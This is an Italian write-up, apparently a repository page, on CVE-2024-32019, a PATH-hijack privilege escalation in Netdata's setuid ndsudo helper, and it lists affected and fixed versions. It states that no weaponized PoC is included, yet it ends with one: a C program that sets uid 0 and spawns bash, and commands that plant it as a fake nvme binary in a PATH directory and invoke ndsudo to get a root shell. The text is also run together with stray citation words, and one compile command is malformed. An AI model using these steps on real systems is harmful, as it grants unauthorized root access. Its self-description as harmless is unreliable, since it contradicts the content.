
PoC non armato e checker per CVE-2024-32019, una escalation di privilegi locale nell'helper ndsudo di Netdata. Valuta l'esposizione, verifica le patch e comprendi il vettore di sfruttamento basato su PATH.
ndsudo di Netdata: Escalation dei Privilegi LocaliL’helper ndsudo di Netdata (installato con setuid root) limita i comandi che può eseguire, ma risolve questi comandi usando il PATH del chiamante. Nelle versioni vulnerabili, un utente locale può posizionare un binario dannoso più a monte nel PATH e fare in modo che ndsudo lo esegua con privilegi di root. Corretto in Netdata 1.45.3 e 1.45.0-169.
>= 1.44.0-60, < 1.45.0-169 e >= 1.45.0, < 1.45.3 (secondo l'avviso upstream).1.45.3 (stabile), 1.45.0-169 (nightly). GitHubEscalation dei privilegi locali a root su sistemi dove ndsudo è installato SUID e l'utente può invocarlo (comunemente membri del gruppo netdata). NVD GitHub
ndsudo è SUID-root e autorizza sottocomandi come nvme-list, nvme-smart-log, ecc.nvme), che vengono risolti tramite PATH invece di usare percorsi assoluti o una ricerca sicura fissa.Questo repository include strumenti di controllo non exploit che:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (o dovunque sia installato) per SUID/proprietà.PATH per directory scrivibili prima dei percorsi di sistema comuni.ndsudo potrebbe tentare di eseguire.ndsudo --test <sottocomando> per stampare il comando risolto senza eseguirlo (usare con cautela, leggere prima il codice). GitHub⚠️ Nessun PoC armato è incluso. Questo progetto è per difensori e ricercatori per valutare l'esposizione e validare le patch in modo responsabile.
ndsudo. GitHub wiz.ionvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list